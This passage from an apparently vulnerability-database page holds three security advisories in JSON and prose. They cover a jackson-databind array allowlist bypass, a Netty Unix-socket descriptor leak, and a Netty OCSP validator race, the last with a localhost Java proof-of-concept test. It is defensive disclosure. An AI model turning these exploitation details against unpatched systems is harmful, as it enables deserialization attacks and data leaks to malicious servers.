"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54513"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:22:15Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "HIGH"
},
"details": "## Summary\n`BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array\u0027s component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.\n\n## Impact\nApplications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.18 line: `\u003e= 2.10.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.\n\n## Severity / CWE\nMaintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.\n\n## Upstream fix\nFasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-rmj7-2vxq-3g9f",
"modified": "2026-08-14T15:32:43Z",
"published": "2026-06-23T21:22:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rmj7-2vxq-3g9f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5983"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5981"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5984"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/24529da29fdf46ff94ca38de9ebf31cd188f5e8e"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/01d1692c8d0ed03e51a0e3c4f8a9e6908e4931e5"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54513.json"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492010"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54622"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50849"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50848"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50847"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50846"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48151"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48095"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44271"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44066"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44065"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44064"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44063"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44062"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44061"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43400"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43218"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40895"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)"
}
GHSA-W573-9FFJ-6FF9
Vulnerability from github – Published: 2026-06-08 23:01 – Updated: 2026-06-12 19:29netty_unix_socket_recvFd sets msg_control to char control[CMSG_SPACE(sizeof(int))] (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check cmsg->cmsg_len == CMSG_LEN(sizeof(int)) (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-epoll"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-kqueue"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-kqueue"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-epoll"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45536"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:01:33Z",
"nvd_published_at": "2026-06-12T15:16:27Z",
"severity": "MODERATE"
},
"details": "netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) \u2014 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg-\u003ecmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking \u2192 EAGAIN \u2192 Java maps to 0 \u2192 read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).",
"id": "GHSA-w573-9ffj-6ff9",
"modified": "2026-06-12T19:29:26Z",
"published": "2026-06-08T23:01:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w573-9ffj-6ff9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty: Unix-socket fd receive leaks descriptors when peer sends two at once"
}
GHSA-WC96-39FC-566F
Vulnerability from github – Published: 2026-07-22 21:47 – Updated: 2026-07-22 21:47Summary
Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.
Details
In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.
Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
OCSPRespBuilder respBuilder = new OCSPRespBuilder();
OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
byte[] responseEncoded = response.getEncoded();
IoTransport mockTransport = IoTransport.create(group.next(), () -> {
NioSocketChannel channel = new NioSocketChannel();
channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
@Override
public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
promise.setSuccess();
ctx.executor().schedule(() -> {
ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse);
}, 500, TimeUnit.MILLISECONDS);
}
});
return channel;
}, NioDatagramChannel::new);
X509Bundle caRoot = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TrustedRootCA")
.setIsCertificateAuthority(true)
.buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
X509Bundle targetCert = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TargetServer")
.addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
.buildIssuedBy(caRoot);
SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();
CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();
CountDownLatch dataReceivedLatch = new CountDownLatch(1);
new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {
@Override
protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {
receivedData.add(msg.toString(CharsetUtil.UTF_8));
dataReceivedLatch.countDown();
}
});
}
})
.bind(8080)
.sync()
.channel();
SslContext clientSslCtx = SslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.build();
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);
Channel clientChannel = new Bootstrap()
.group(group)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080));
ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));
ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
if (evt instanceof SslHandshakeCompletionEvent) {
SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
if (sslEvent.isSuccess()) {
ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
}
}
ctx.fireUserEventTriggered(evt);
}
});
}
})
.connect("127.0.0.1", 8080)
.sync()
.channel();
assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));
Thread.sleep(200);
assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data.");
} finally {
group.shutdownGracefully();
}
}
Impact
TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-ssl-ocsp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-ssl-ocsp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56822"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:47:41Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client\u0027s downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.\n\n### Details\nIn `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered`, when an `SslHandshakeCompletionEvent` is received, the validator immediately calls `ctx.fireUserEventTriggered(evt)`. It then initiates an asynchronous OCSP query using `OcspClient.query`.\n\nBecause the handshake completion event is forwarded immediately, downstream handlers in the client\u0027s pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server\u0027s certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.\n\n### PoC\n\n```java\n @Test\n public void test() throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n OCSPRespBuilder respBuilder = new OCSPRespBuilder();\n OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);\n byte[] responseEncoded = response.getEncoded();\n\n IoTransport mockTransport = IoTransport.create(group.next(), () -\u003e {\n NioSocketChannel channel = new NioSocketChannel();\n channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {\n @Override\n public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {\n promise.setSuccess();\n\n ctx.executor().schedule(() -\u003e {\n ctx.pipeline().fireChannelActive();\n\n DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(\n HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));\n httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"application/ocsp-response\");\n httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());\n\n ctx.pipeline().fireChannelRead(httpResponse);\n }, 500, TimeUnit.MILLISECONDS);\n }\n });\n return channel;\n }, NioDatagramChannel::new);\n\n X509Bundle caRoot = new CertificateBuilder()\n .algorithm(CertificateBuilder.Algorithm.rsa2048)\n .subject(\"CN=TrustedRootCA\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, \"http://localhost/\");\n AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));\n X509Bundle targetCert = new CertificateBuilder()\n .algorithm(CertificateBuilder.Algorithm.rsa2048)\n .subject(\"CN=TargetServer\")\n .addExtensionOctetString(\"1.3.6.1.5.5.7.1.1\", false, aia.getEncoded())\n .buildIssuedBy(caRoot);\n\n SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();\n\n CopyOnWriteArrayList\u003cString\u003e receivedData = new CopyOnWriteArrayList\u003c\u003e();\n CountDownLatch dataReceivedLatch = new CountDownLatch(1);\n\n new ServerBootstrap()\n .group(group)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));\n ch.pipeline().addLast(new SimpleChannelInboundHandler\u003cByteBuf\u003e() {\n @Override\n protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {\n receivedData.add(msg.toString(CharsetUtil.UTF_8));\n dataReceivedLatch.countDown();\n }\n });\n }\n })\n .bind(8080)\n .sync()\n .channel();\n\n SslContext clientSslCtx = SslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .build();\n\n DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);\n Channel clientChannel = new Bootstrap()\n .group(group)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), \"127.0.0.1\", 8080));\n ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));\n ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {\n if (evt instanceof SslHandshakeCompletionEvent) {\n SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;\n if (sslEvent.isSuccess()) {\n ctx.writeAndFlush(Unpooled.copiedBuffer(\"SECRET_DATA\", CharsetUtil.UTF_8));\n }\n }\n ctx.fireUserEventTriggered(evt);\n }\n });\n }\n })\n .connect(\"127.0.0.1\", 8080)\n .sync()\n .channel();\n\n assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));\n\n Thread.sleep(200);\n\n assertFalse(receivedData.contains(\"SECRET_DATA\"), \"Server should not receive the data.\");\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nTOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.",
"id": "GHSA-wc96-39fc-566f",
"modified": "2026-07-22T21:47:41Z",
"published": "2026-07-22T21:47:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: TOCTOU in OcspServerCertificateValidator"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.